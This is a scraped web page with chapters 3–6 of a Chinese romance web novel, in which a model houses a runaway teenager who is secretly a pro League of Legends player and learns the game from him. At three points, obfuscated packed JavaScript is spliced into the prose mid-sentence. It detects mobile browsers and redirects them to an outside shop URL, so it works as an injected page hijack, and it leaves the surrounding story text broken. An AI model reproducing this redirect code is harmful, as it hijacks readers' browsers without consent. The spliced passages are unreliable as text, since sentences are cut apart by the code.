《你可以教教我吗》 3. 不喜欢狗 【我让那个高中生住下来了】 郑子蓓一觉睡醒,收到这条消息,瞌睡虫一个激灵全跑光了。 【?住哪,你那狗窝?】 【他没地方去】 【但是打游戏很厉害,我让他教我,作为交换客房给他暂住】 【什么陌生人你就往家里带,不怕碰到坏人骗子吗?】 【万一一会儿给你绑缅甸去怎么办?】 【。我心里有数】 郑子蓓觉得他现在看许逐意活像看自己家里特别爱买各种保健品的外公外婆。 很有主意、一意孤行、不听劝。 同时,又觉得这孩子真是不开窍不知道,一开窍吓死人。许逐意得对祝扬那个男人上头到什么程度,才会为爱学习到这种地步。 胡思乱想半天,郑子蓓回了个双手合十的emoji。 许逐意退出和郑子蓓的聊天窗口,知道这人肯定又脑补了一堆有的没的。 他懒得回了,把手机放下,随便打开一集电视剧当背景音,又打开冰箱拿出吐司、番茄、黄瓜和一罐肉松。 在厨房里忙碌期间,许逐意抽空回头瞥一眼客房旁边那个浴室里的人。 男孩给人感觉乖巧且稳重,昨天在他家睡了一晚,没整出什么幺蛾子,还很勤快地帮着许逐意铺床、打扫客房的卫生,不像坏人。 不过睡一觉醒来后,理智逐渐回笼,许逐意也觉得对陌生客人还是不能掉以轻心。 他朝浴室里道:“昨天忘记问你,你叫什么名字?” “汤挽宗。”男孩的声音从浴室里传出来。 “哦,我叫许逐意。”许逐意说,“允许的许,追逐的逐,意思的意。” 又问:“你多大,在上学吗?” 汤挽宗从浴室里面走出来,身上穿着昨晚许逐意找给他的夏季睡衣,不算很合身,袖子稍稍短一截,但莫名更显得他宽肩窄腰,露在外面的胳膊和小腿结实有肉。 “十九,”汤挽宗拨了拨发尾还有点略湿的头发,一五一十答,“没上学。” 许逐意正好从厨房出来,路过汤挽宗的时候将做好的三明治往他怀里塞一块,说:“我要走了,你将就吃。书房电脑随便玩,我的房间不要进,晚上回来教我打游戏。” 汤挽宗咬了口三明治,用不太理解的表情低头看手里食物一眼,咀嚼的速度放慢了,又看看已经在玄关穿鞋的人,问:“去哪?” 许逐意说:“上班。” 说完脚底生风地走了。 许逐意今天有通告,要去摄影棚里为一家淘宝服装店铺即将要上架的秋冬季新款做模特拍品。 拍摄时间是下午。 昨晚在床上抱着手机搜索游戏教程研究到半夜,今天起晚了来不及去健身房,许逐意只能在路上买杯冰美式消肿。 到了场地,他直接被拉去化妆,今天前来拍摄的不止他一位模特,说是还有搭档。 许逐意刚坐下就听见旁边化妆师和造型师窃窃私语:“好帅啊祝扬。” “嗯,而且好高。” 他今天的搭档是祝扬? 许逐意顿了一下,咬着冰美式的吸管往边上看了眼。 果不其然,祝扬坐在那,被化妆镜的LED灯照亮整张脸,正闭着眼睛任化妆师给他上眼影。 许逐意收回目光,低头看手机。 手机屏幕上开着的并非任何娱乐软件,而是他家客厅的监控。 他没跟汤挽宗说家里有装监控,是当初刚独居时为了给自己安全感买的,位置很明显,客厅的就在电视机柜上,其实留心的话不难发现 不过这种事情似乎说出来也挺奇怪的。 化妆师开始准备给许逐意上妆做造型,许逐意微微仰起脸配合,同时把屏幕亮度调低。 黑白灰色调的画面里,汤挽宗没有去书房打游戏,而是坐在客厅沙发上,手机放于茶几。三明治已经吃完了,他看起来无事可做,说不许去的地方绝不踏足,只对着客厅落地窗外的景色发呆,什么也不玩,客房也不回。 就这样孤零零坐着,坐姿还很一板一眼得端正,两只手搭于大腿。坐困了就睡着了,蜷成一小团缩在沙发里,胳膊抱住伤痕累累的脸。 这哪里像坏人。 “家里养小猫小狗了吗?”化妆师不是第一次给许逐意化妆,闲着无聊,上粉底时随口和他搭话,粉扑带到颧骨,又对许逐意说,“闭眼。” 许逐意把手机往肚子上一扣,息屏了,为避免被抓着问来问去和被人多想,他“嗯”地应一声没有否认。 “什么时候养的?我记得之前都没看你打开宠物监控呢。” “……昨天捡的。” “小流浪啊,”化妆师由衷道,“你人真好。” 又问:“小猫还是小狗?” 粉底上完要定妆,化妆师不说许逐意就也没把眼睛睁开。他回想起汤挽宗的样子:大大的略有下垂的杏眼,双眼皮很深刻,鼻梁很高,脸短短的,嘴唇不厚不薄。 “小狗吧。”许逐意说。 答完发现自己句末的“吧”听起来太奇怪,他换了个肯定点的语气又说一遍:“小狗。” “小狗好啊,”化妆师是个“狗狗党”,一听眼睛都亮了,“小狗狗最可爱了,回家会热情地迎接你,走到哪里跟到哪里,还会用湿湿的舌头舔你。我之前失恋了躲房间里哭,我家那只听见了还跑房间里来安慰我呢。” “……是吗。”许逐意干巴巴地回应。 虽然骗对方是捡到小狗,但家里那位终究是个人,他无法想象什么汤挽宗……小狗狗热情迎接主人回家舔主人的画面。 而且,舌头湿湿的,会有口水吧。 不喜欢。 但化妆师对此毫无觉察,兴高采烈滔滔不绝地开始和许逐意畅聊养狗琐事,从教指令到买狗粮再到遛狗陪狗玩等等。 许逐意听得昏昏欲睡,但还是有一搭没一搭地用“嗯”“是吗”“这样”回应。 和他合作过、有交集的人都知道,一直以来许逐意就是个接触起来有点冷冰冰的男人,话不太多,但很礼貌,脸上也很少表现出喜怒哀乐。 所以这位天然话多外向的化妆师倒没觉得许逐意敷衍,反倒聊得愉快,最后拍拍他肩膀说:“好啦。” 妆化好发型也弄好,许逐意道过“谢谢”,起身去换衣服,然后走到摄影棚中央。 祝扬已经拍完一组单人了,站在那等他拍双人照。许逐意身高一米八正好,比祝扬稍微矮一点点,走过去一站,他突然觉得汤挽宗好高。 摄影师给了个“开始”的手势,两人专业地进入状态,完成分内之事。 很快就结束了这一组,祝扬先离开去换下一套,许逐意则待着继续拍一组单人,而后才跟上。 他拿着下一套衣服走到更衣室门口时,祝扬刚换好从里面走出来。两人面对面碰上,四目相对,许逐意顿了一下。 这时候应该做什么,打个招呼?许逐意脑海中闪过高中时目睹郑子蓓追女孩的种种画面,什么粲然一笑说“嗨”,假装惊讶说“好巧”之类的…… 然而话音卡在喉咙啥也说不出。 他面无表情地想要无视略过。 “你喜欢小狗?”刚擦肩,耳边突然响起一声低低的话音。 许逐意一愣,回头,只见祝扬垂眸正看着自己。 “啊……嗯。”许逐意不知道说什么,只好木木地点头。 祝扬又说:“晚上一起打游戏吗?” 这话。 许逐意几乎条件反射地响起郑子蓓说的那句“如果觉得很难,千万别去问他,一定自己想办法学会,问他只会显得你很笨,在他那里掉价”。 念及自己还是个超级大菜鸟,许逐意不想被人觉得很笨,没有回应祝扬的邀请,而是反问:“你什么段位?” 祝扬:“铂金。” 顿了下又补充:“上个赛季打到过翡翠,最近还在努力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许逐意特别怕露馅,于是回答得要多简单有多简单:“中。” “我打打野的,太适合一起玩了。”祝扬果然是个游戏痴,逐渐表现出“大哥带带我”的意思。 怎么感觉好难缠,许逐意有点没了耐心,干脆编个谎言强硬拒绝:“但我今晚有事。” “啊,这样。”祝扬总算消停了。 但他显然不肯放弃抱大腿上分的机会,沉默两秒后锲而不舍地又说:“那有机会一起吧。” 许逐意勉强说:“行。” 他怕被祝扬一路缠着直到地铁站,干脆方向一拐,路边拦了辆出租车坐进去。连再见都没说,在祝扬殷切的注视下扬长而去。 回家路上,许逐意怕忘记,打开备忘录写了个今晚的ToDoList。 1、和twz加上微信; 2、问twz铂金、翡翠、钻石段位分别什么水平; 3、问twz身高是多少。 他不知道“汤挽宗”究竟是哪三个字,因此谨慎地用缩写代替。 写完ToDo,许逐意开始思考今晚的晚饭该做什么好,冰箱里食材是不是又要补充,明天应该抽空去趟超市…… 想着想着,家就到了,许逐意下车,回想起今天在监控里看到的汤挽宗窝在沙发那孤单寂寞的样子,不知不觉加快脚步。 电梯到达九楼,他快步来到家门前开密码锁,门一拉开,“汤——” 剩下的两个字猛然噤声,卡在喉口。 只见汤挽宗还在客厅里,但没在沙发上,而是歪歪斜斜靠坐在玄关的鞋柜旁。高大的少年穿着不合身的睡衣,屈膝抱着自己,头埋在臂弯里,刘海凌乱地散开,露出轮廓深邃的眉眼。 他睡着了,但也被许逐意进门的动静吵醒,闻声有些朦朦胧胧地眯着眼睛抬起脸,好像一半的意识都还在睡梦中,对许逐意哑着声音轻轻地说:“啊,哥哥,你回来了。” 4.一起出门 等、等主人回家的小狗。 许逐意大脑一片空白,唯一闪过今日化妆师闲聊时的那句。 但马上又觉得自己这样偷偷把人当成宠物狗很失礼,许逐意摇摇头,把乱七八糟的想法赶走,有些僵硬地走进门。 然后在汤挽宗面前蹲下,问他:“你……你干嘛睡在这里?” 汤挽宗好像才把神绪召回笼,眼神清明了一点,他松开蜷缩的姿势,低头挠挠脸,答:“……等你。” 许逐意又哑然一瞬间。 感觉自己好像跟不上这小年轻的脑回路,他不自觉有些失笑,问:“等我做什么?” 那表情只昙花一现,许逐意说完起身,对汤挽宗伸手:“起来吧,等会着凉了。” 平日他总面无表情,不管生气、无语、冷静还是好心情,笑的时候特少。 但其实许逐意笑起来的时候整张漂亮的脸都会很生动,细眉与看起来冷冷的吊眼变得柔和,嘴角弧度不大却勾人心魄。 汤挽宗听见许逐意笑,猛地仰起头来看。看了几秒才抿唇把手递过去,借力站起来,目光一刻不离地粘在许逐意脸上,看着许逐意换鞋走进屋里。 他有些不知所措,不知道该怎么向许逐意解释自己蹲在玄关的行为,其实是因为想接许逐意下班,可又不知道怎么接。 只好等在玄关。 但大概感觉到自己似乎做太过头,汤挽宗说:“哥……那个,我下次不等了。” 他跟在许逐意身后进屋,把许逐意刚刚随手往沙发上扔的衣服默默捡起来,整齐地挂上椅背。 许逐意平时不怎么招待客人,郑子蓓又是个喜欢打赤脚的,家中没有客用的拖鞋。 因此汤挽宗也只能光脚在地上,跟在身后的脚步声“啪嗒啪嗒”响。 打开冰箱瞥了一眼,有食材,但很可惜的是好像不够两人份了,许逐意突然想到什么,看向身后的小尾巴:“你今天是不是只吃了一块三明治?” “啊。”汤挽宗顿了顿,点点头。 许逐意忙起来偶尔一天就吃一两顿,加上职业要求使然,他习惯了,但忘记考虑到汤挽宗。 “走吧。”莫名有点愧疚,许逐意说罢,路过的时候拍拍汤挽宗肩膀。 “去哪?”汤挽宗脑袋像一株“向许逐意葵”,跟着他转。 许逐意说:“超市。” “我也去吗?” “不想去的话也可以不去。”许逐意说,“因为我打算给你买一双拖鞋,然后买新的睡衣,你如果在场,可以自己挑选……” 汤挽宗没等他说完:“我去。” 许逐意于是翻箱倒柜,找出了自己之前沉迷oversize时买过的大码卫衣,扔给汤挽宗穿,总算是正好合身。 “需要戴个口罩吧,”他说,“你是不是还在被……追杀呢。” 用追杀这个词会不会有点太严重了。 不过汤挽宗没有咬文嚼字,点点头,注意力似乎全在要和他一起出门这件事上。 许逐意怕他遮得不够严实,会有危险,看人戴好口罩后又拿出顶鸭舌帽递过去。 汤挽宗戴了一下,戴不进,有点小了,拿下来调整后面的卡扣带。 整装待发,许逐意犹豫再三还是多穿了件外套,反正只是购物没必要穿的太好看。 挎上每次去超市采购都用的大号素色布袋,他率先走到玄关换好鞋。 然后对还站在客厅里、埋头捡他翻箱倒柜时乱扔出来的衣服的汤挽宗招手:“快过来。” 汤挽宗听召,把衣服小心放好,跟上。 两人一前一后出门,在电梯里的时候许逐意打开微信二维码递过去,在汤挽宗面前晃晃示意。 看着汤挽宗扫码,许逐意说:“把你的名字发给我。” 又问:“我的名字你还记得吗?” 汤挽宗点头:“记得。” 许逐意也点点头,边设置备注边慢慢说:“现在天冷,坐玄关容易着凉……以后下班了,我会跟你说一声的。” 是太久没和人在一起生活的缘故吗?这些话总觉得说起来好别扭。许逐意别过脸,后脑勺对着汤挽宗,继续不是很大声地补充:“所以不用特意在玄关等。” 身后静了几秒,又传来一声:“好。” 对话的功夫,两人已经走到小区门口,踏出去之前许逐意突然顿足,还抬手拦住身旁的汤挽宗。 左顾右盼好一会儿,确认没有可疑人员在附近,应该是安全的,他才松口气,说:“我打车。” 末了,他头也不抬,很理性地接着对汤挽宗嘱咐:“建议你也保持谨慎,提防那些可能追杀你的人在附近。我们尽量快去快回,免得节外生枝。” 话说得好像什么特务在出外勤。 深秋的天黑得特别快,许逐意下班回家花费掉一些时间,此刻已经看不到夕阳了。 小区旁四处都灯火通明,白色的灯光静静落在许逐意后脖颈,因为瘦,他低头时能看见突出的小块骨骼。 汤挽宗看了几秒,红着耳朵默默把目光挪开,对许逐意说:“对不起。” 许逐意打到车,翘首望向马路上的车流,闻言不解地瞥他一眼,“对不起什么?” “收留我,给哥……你带来了麻烦。”汤挽宗说。 “哦,”许逐意点点头表示了解,又转回去看车流了,后脑勺对着汤挽宗说,“其实还挺有意思的,所以你不用道歉。” 他语气淡然,听上去似乎真的不怎么在意。 汤挽宗又说:“……好。” “叫我那个也可以的。”车到了,许逐意往路边走走,拉开车门,示意汤挽宗先进去,“论年纪我比你大五岁,确实是哥。” 不过“允许叫哥哥”这种事由当哥的本人亲自说,怎么都感觉怪怪的,许逐意说完没看汤挽宗,转头向别处。 汤挽宗依然是应下“好”,然后乖乖坐进去。 许逐意跟上。 目的地定的是离许逐意住宅最近的一家盒马,开在商场的地下一层。 许逐意也不知道汤挽宗会在他家里借宿多久。两天?一周?但他觉得自己学会打英雄联盟应该没有那么快。 城市在车窗里倒退,汤挽宗坐在他的左手边,中间隔着半米的距离。反正汤挽宗不像个坏人,相处起来似乎也不如想象中难,如果可以的话,如果汤挽宗愿意,许逐意突然觉得,让这个男孩在自己家里稍微,稍微地,住久一点,好像应该也没有关系。 到了超市,人流量变多,念及就算有坏人应该也不会选择在这里动手,许逐意稍微卸下一点防备。 他带着汤挽宗挑了食材、罐头,还有一些吐司和面包,又去买了一双拖鞋,一套睡衣,一副新的碗筷。 “要去楼上的商场再买两件平时穿的衣服吗?”许逐意扭头问推推车的汤挽宗。 汤挽宗摇摇头,大概是牢记他说的“谨慎行事”,微微低下点身子靠过来,小声说:“我穿哥哥的就好了。” 许逐意感觉耳朵有点痒,等汤挽宗退开后抬手挠了挠耳廓,别过脸说:“也行吧。” 那这样的话,东西差不多买齐了,两人去收银台那边排队等待自助结账。 许逐意很久没跟人一起逛超市,习惯性地自己一个人大包大揽忙活,把东西一个个拿出来扫码装进包里。 余光瞥见汤挽宗拿出手机准备付款。 “我来付。”他伸手去拦,把汤挽宗推开,说,“你在边上等我。” 汤挽宗顿了顿,看他专制的样子,只好退到一旁。 付完钱,许逐意拎着大袋东西朝汤挽宗走去的时候,汤挽宗低头在摆弄手机,像是在回消息。 “那个坏人又发信息威胁你了?”许逐意皱着眉头凑过去问。 汤挽宗下意识把手机盖了一下,顿了顿,看着许逐意说:“……没事。” 听起来很模棱两可的回答。 “他们在附近吗?发现你了?”许逐意略紧张起来,又开始左顾右盼,甚至没注意到汤挽宗把自己手里的购物袋接走。 “没有。”汤挽宗说,想了想,又低声多补一句,“先走吧,避免节外生枝。” 许逐意这次没注意到两人距离有点太近,忙应道:“好。” 回到街上,许逐意再次低头打车。趁他视线离开自己,汤挽宗也掏出手机,回复刚刚收到的消息。 【不用管我在哪,就当我回家了,暂时不回基地,别找】 然后把发消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“翡翠。”许逐意忍不住多说,“但我今天跟他说我是钻石,他要和我打游戏,我拒绝了。 “我打到钻石难吗?需要多久时间?” 汤挽宗突然正了正身子,往窗边靠去一点,别过脸后脑勺对着许逐意说:“难,要很久。” “……好吧。”许逐意泄气道。 “不过翡翠也没什么大不了的。”汤挽宗冷不丁又说,“才75%。” “75%也很多人了。”许逐意心不在焉地说,又想起来还不知道汤挽宗具体什么水平,便问,“你是什么段位?” 说着还微微顷身凑过去。 汤挽宗感受到了,瞥他一眼,下颌线不自觉地绷紧,不答反问:“……我是什么段位很重要吗?” 许逐意:“啊,不方便说吗?” 倒也不是不方便。 只是觉得一个翡翠都能让许逐意喜欢,那他什么水平也不重要吧。 汤挽宗木着脸:“……反正比翡翠厉害。” 许逐意:“比钻石呢?” “……也厉害吧。” “这么强啊,”许逐意话里佩服,可脸上却看不出情绪,像个因为设定了程序所以要提问的机器,“那你应该很喜欢这个游戏了吧,你会看比赛吗?” 汤挽宗:“……偶尔吧。” 又说:“我也没那么厉害。” 但是会看比赛的话——许逐意开始有点好奇。 他对英雄联盟了解得不多,能说得出来的东西不过都是郑子蓓从祝扬那里问来的。可他现在又为自己稍微知道一点皮毛而觉得庆幸,因为这样就有话和汤挽宗聊天了,不至于让气氛冷场。 也许是一起逛了个超市让他觉得和汤挽宗更像朋友;又或许是汤挽宗在玄关等他下班、叫他哥哥,让他有点开心。 总之,和下午面对祝扬不同的,跟汤挽宗呆在一起时的氛围让他觉得舒服,不紧张,于是想多说几句话。 他再次情不自禁凑过去一点,像求知若渴的学生问无所不知的老师那样,眼睛亮亮,抓上汤挽宗的胳膊问:“那你知道Zone吗?” 5.学习动机 “我就一个没看住,就一个没看住!” Woof电子竞技俱乐部基地内,戴眼镜的男人气得七窍生烟,“哐哐”拍桌子。 “Zone这小子,让我找到看我不给他活剥了!!” 一旁留队的三位Woof队员大气不敢出。 这位怒气滔天的经理先生已经连着两天,不定时给他们离家出走的中单发去各种威胁短信了,内容恐怖到是报警了就一定会被抓起来的程度。 不过他们队中单也是个神人——虽说休假可以回家,AD就回了,此刻不在这儿——但不打报告就跑的Zone还是第一人。 “姚哥……别气了,至少他回消息了,人应该好好的活着呢。”就是不知道在哪。 队内脾气最好的辅助斗胆出声,安抚经理,“反正休假,Zone他最近估计也郁闷着,毕竟以前没有这样过的,这次是真需要一个人静静吧。就不要再……” “不要再管,不要再管,万一出事情怎么办?!”被称作“姚哥”的经理怒发冲冠,猛灌几大口水,喝得上气不接下气道,“你们这群小兔崽子,一个比一个嘎嘣脆,一个比一个鬼!擅自离开基地,放他一个人静静,说得轻巧。万一出事儿了我找谁去?谁替我说理去?把基地的纪律放在哪里?” 虽然那个每天都会抽时间去健身房、一人之力能敌队内剩余四人甚至还绰绰有余的Zone跟嘎嘣脆好像没有关系,但大家还是又不敢多话了。 脾气暴躁的打野抱着猫不爽地小声嘟囔:“死就死呗,我们打这么菜,本来也不想活了。” 辅助马上低声呵斥他:“行了你别添乱了!” 然而话音已经传入经理耳朵,男人深吸一口气,怒喝:“掘地三尺,就算整个H市都掀翻,也必须把那臭小子给我找出来——!!” “——Zone。” 出租车颠了一下,好巧不巧把汤挽宗的话颠了个磕巴。 他像是第一次听见这个名字,露出茫然的神色反问:“谁啊?” “你不知道吗?”许逐意有些意外,松开他,“是英雄联盟比赛里的一个明星选手。” 汤挽宗头靠在座椅上,半敛下眸看他:“哥哥怎么知道?” “我要追的那个人跟我说的。”许逐意道。 少年落在他脸上的目光又淡淡抽走了。 “因为他所以聊起这个选手吗,”许逐意听见汤挽宗声音很低地喃喃,“那就更没什么必要知道了。” “为什么?”他追问,“我听说这个选手很厉害,你打游戏这么好,却不知道Zone吗?” “你喜欢Zone吗?”汤挽宗不答反问。 “……倒没有,”许逐意顿了一下,“我不太了解他,也不是很感兴趣,连他长什么样子都不知道。” 这个倒是不意外。 汤挽宗又问:“那如果他能教你打游戏呢,要吗?” “可以吗?”许逐意下意识想了一下,马上又很客观地说,“不现实吧,他可是明星选手,应该很忙的,我也不可能有机会认识他。 “而且,现在已经有你教我了。” 话音落下,汤挽宗沉默一瞬,没再试探许逐意对Zone的态度,而是说:“英雄联盟没有永远的明星,除非他够强。” 许逐意:“Zone不强吗?祝扬——我要追的那个人,把他夸上天了,还说他是神。” 汤挽宗:“……他如果够强的话,你就不用通过祝扬之口认识了。” 因为真正的强者会家喻户晓。 轿车内安静了片刻的时间,然后司机说“到了”。 他们下车。 “你好像不太喜欢这个Zone。”许逐意敏锐嗅到一点奇怪的气氛,看着汤挽宗的侧脸,下定论。 “你不也不喜欢吗?”汤挽宗却没有正面回答他这句话,同时不给许逐意追问的机会,低声扯开话题,“我好饿,哥哥。” 不说还好。 一说,许逐意又想起来他们两个人都一天没吃饭了,也突然感觉到前胸贴后背。 “我不是不喜欢,只是不感兴趣。”他还是一板一眼地多补充一句,然后说,“那快走吧。” 不太了解的Zone选手于是暂时变得不那么重要,眼下重要的是填饱自己和弟弟的肚子。 许逐意带着汤挽宗快步回家,进门后就一头扎入厨房里。 许逐意家里的厨房和客厅是用大理石制的吧台隔开的,吧台旁边安了高脚凳,汤挽宗坐在凳子上很安静地等。 没有帮忙打下手的原因是许逐意不习惯厨房有两个人,他总觉得多一个人会添一份乱。 不过看许逐意做饭也是一件很新奇的事情。 开一集电视剧当背景音,淘米、煮饭,然后把超市里买到的泡菜和紫菜挑出来备用,再切一点黄瓜丝。 他看准备得差不多了就也到汤挽宗身边坐下,拿过手机认真看电视,开始等,汤挽宗看着他的一系列动作,没忍住好奇地问:“不开火吗?” 许逐意说“不用”。 “不开火怎么做饭?”汤挽宗没有下过厨,对此事一窍不通。 “你等着吃就好了,”许逐意胸有成竹,自吹自擂,“虽然打游戏连黑铁都上不了,但做饭我可是王者水平。” “这样啊。”汤挽宗眨眨眼,嘴角不自觉往上了一点,看向他的眼神里因此多了些崇拜和期待。 半小时后米饭熟了,电饭锅“叮”的一声,许逐意马上站起来去打开,拿出今天新买的碗,洗一洗擦干净,开始舀饭。 接着把备好的菜也分两份拨入两个碗里,又打开一个金枪鱼罐头,和一罐拌饭酱。 汤挽宗突然有种不太好的预感。 他迟钝地想起了早上许逐意出门前塞给他的那个自制三明治。 果不其然,许逐意接下来的动作就是把全部的东西和饭搅和搅和,最后对着两份颜色鲜红、形态诡异的食物打量片刻,大概是觉得如此招待有点不够满足一个十九岁少年的胃,想了想又郑重其事地拿出那罐自己所钟爱的肉松。 “……还要加吗?”汤挽宗没忍住开了口。 “这个很好吃的。”许逐意信心十足地转过头来说,然后大方地给两份拌饭都撒上肉松,汤挽宗的那份撒得多一些。 撒完肉松,拌饭也就做好了,他端着上桌,一人面前放一碗,再摆一只铁勺。 “哥哥平时,”汤挽宗看看眼前的食物,又看看已经开始大口进食的许逐意,有点迟疑道,“都这么吃吗?” 这个食物卖相看起来不算眼生,没记错的话,汤挽宗曾经在队里打野给猫做猫饭时见过。 打野把撒在食物最上面的肉松叫做“浇头”。猫如果挑食,可以用浇头骗饭。 许逐意并不觉得这份拌饭有什么问题,但感觉到了汤挽宗的迟疑,他说:“你吃吧,一会儿吃完了别又向我要。” “……”汤挽宗咽咽口水,将信将疑地舀起一口,放进嘴里。 “怎么样?”许逐意半眯着眼睛问他。 汤挽宗嚼了两下:“……嗯,好吃。” 许逐意脸上露出“我就说吧”的表情,然后开始催他:“好吃快吃吧,吃完了教我打游戏。” 时间已经不早了,经过一天的工作、加上坐出租车时告知的难度,和本人对了解职业选手意愿表现出来的兴致缺缺,本以为许逐意多少会对学着打英雄联盟这件事的热情减淡一点,然而并没有。 汤挽宗没说话,饭塞了满口,两边的脸颊都鼓起来,闻言只能对许逐意勉强咧咧嘴角,看起来像在笑又不是。 饭吃完,碗都没来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822448|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及洗,“你吃那么干净跟舔过似的,晚点洗也没关系。”汤挽宗就被许逐意这么说着拉进了书房里。 他给汤挽宗拉了张椅子在旁边,两人并排坐下。 “来吧,老师,我应该怎么做才能提高水平?”许逐意打开电脑,少见地兴致勃勃扭头朝汤挽宗提问。 书房光线不算很亮,许逐意不喜欢开太多灯,为数不多的光源落在他的眼睛里,倒把“求知欲”裹得亮晶晶。 “要是哥哥把这份精神放在研究厨艺上,就不至于长这么瘦了。”汤挽宗别开目光,不清不楚地嘟囔一句。 偏偏这么认真还是为了追一个男人。 许逐意没听清他说的:“什么?” “……没什么。” 汤挽宗调整了一下坐姿,淡淡道,“开把人机吧。” 许逐意照做,察觉到他兴致不高,多问一嘴:“你累了吗?” 汤挽宗顺坡下驴:“有点。” “啊……”许逐意表情变得有点可惜,但念及这孩子伤未好全,出门时大概又是精神紧绷的,加上时间确实不早了,还是决定体谅和理解,“那打一把就休息吧。” 又说:“不过明天我没事,可以一整天都在家里,你能多教我一会儿吗?” 汤挽宗沉默了会儿才勉强说“哦”。 人机模式较于匹配来说简单很多,在这种对局里许逐意不至于一个人头都拿不到。 也不知是不是有汤挽宗坐在边上的加成,男孩话不多,看起来似乎对这个游戏没什么热情,教也只是出于借宿的约定,但能偶尔很及时地告诉许逐意现在应该干什么,教他出装,还教他利用小兵走位挡技能,诱敌深入再一举杀死。 拿到此局第一个人头的时候许逐意很激动,下意识“哇”了一声,微微睁大的双眼被显示器照亮,很是专注。 汤挽宗本来一只手肘懒洋洋撑在桌面上,看着许逐意的脸,偶尔看电脑屏幕,心不在焉地随便敷衍一下。 但看到男人这副表情后又抿了嘴角。 慢慢把手肘放下,人也坐直了。 许逐意死了两次后努力操作又拿到一个人头,他情不自禁伸手过来拍拍汤挽宗的手背,和他分享心情:“你看见了吗?” “看见了。”汤挽宗不咸不淡说,“很棒。” 他莫名想起自己当初喜欢上英雄联盟这个游戏,似乎也是从这里开始。 从第一次进入对局,拿到第一个人头开始。 然后一发不可收拾。 许逐意也会因此喜欢上英雄联盟吗? 如果喜欢上了的话,可不可以因此对Zone也感兴趣一点? 人头进账后电脑前面的人明显受到鼓舞,比刚刚更兴奋也更专注了,边打边不断地有问题问,“现在应该买什么装备?”“啊我怎么打不到他,怎么样才能打到他?”“他跑得好快,我怎么一直打都打不死呢?” ……啊,可是真的不想让许逐意学会打这个游戏。 汤挽宗蜷了蜷指节,满脑子都是许逐意那个“追啊追”,还有许逐意认真热情地希望学会打LOL的脸。 但学习动机是他完全不想听到的那种。 汤挽宗有些烦闷地呼出口气,起身,伸手,覆上许逐意微凉的手背,替他操纵鼠标。另一只手则绕过许逐意的后颈,同时不忘记保持一个并不会靠上或者碰到的距离,去按键盘。 “教你一招。”他淡淡说着,带着许逐意的手飞快滑动几下,电脑里的阿狸走位躲开对面的技能,然后R上去EQW,短短两秒就把人头收入囊中。 教完汤挽宗就松手了,重新退开站到一旁,低头看着许逐意光洁的后颈问:“学会了吗?” 许逐意面对着电脑背对着他,没办法看见表情,只听声音有些磕磕巴巴地响起:“应、应该吧。” 6.你不乐意吗 一把人机很快就结束了。 自汤挽宗突然站起来手把手教学之后,接下来半局的时间,许逐意都没再主动说过话。 游戏结束电脑一关,两人默契地各回房间。 躺到床上,许逐意回想刚刚书房里汤挽宗的举动。 要说太近,可他们从头到尾碰到的只有手,而且短短几秒钟,汤挽宗很快就退开了。 ……应该是因为看不下去他抠脚的操作才这样的吧,毕竟他在那里一直问,汤挽宗肯定也觉得头大了,光说不如直接上手,行动派就是这样。 摸了摸感觉怪怪的胸口,许逐意打算不再想这个小插曲,找了一些英雄联盟新手教程当助眠视频。 家有好老师他也不能不努力,偷偷进步,说不定明天直接吓死汤挽宗。 结果一看就看到了凌晨三点。 第二天又一觉睡到了中午十二点。 睁开眼睛一看时间,许逐意立刻从床上弹射起来,简单洗漱后甚至来不及抓好乱糟糟的头发、整理乱糟糟的睡衣,赶紧先推开门看一眼汤挽宗有没有起。 然后门一推就跟外面沙发上坐着的人四目相对。 汤挽宗:“早。” 许逐意:“……早。” 不早了。 汤挽宗似乎还是维持着昨天他不在家时候的那样,许逐意没起床,他就一个人坐在客厅的沙发上,别的什么事情也不干,但好像洗掉了昨晚水槽里被遗忘的碗筷,也重新整理过客厅,然后对着窗外发呆。 身为年长者但起晚了的许逐意打算装作若无其事,打着呵欠往厨房走,“什么时候起的?”路上不忘踢开客厅地板上他乱扔下的一只企鹅布偶。 许逐意头发留得短,因此不打理也不会特别乱,顶多有点炸毛,比打理过要更显得毛茸茸的。加上他瘦、比例好,手长脚长,脖颈纤细,穿着真丝睡衣但忘记扣最上面那颗纽扣的样子就更有一番乱室佳人的味道。 汤挽宗看了几眼就梗着脖子继续看窗外,剩余大部分时间都只敢用余光偷瞟。 “九点。”他说。 “醒来就一直坐沙发上发呆?” “嗯。” “怎么不去书房玩电脑?你可以趁我没起床的时候打几把英雄联盟的。” “……不想玩。”汤挽宗兴致缺缺,甚至有点避之不及。 耳边开始响起电视剧的动静、菜刀碰砧板的声音,许逐意又开始制作三明治,“你那么厉害,怎么会不想玩?” 拖鞋踢踏,客厅里的人慢慢往厨房这边挪,汤挽宗没听见那句问题似的说:“今天里面是什么馅?” “牛油果,”许逐意向他展示,“还有水煮蛋。” 听上去似乎不是难吃的组合。 但许逐意一向很有冒险精神,喜欢创新,情不自禁地又往里面加了肉松。 水煮蛋一人切一半,圆滚滚盖在上面。 “走吧老师,开始上课。” 汤挽宗面无表情看着许逐意三口把三明治吃完了。 他简直要怀疑是不是味道不好许逐意才吃这么快。 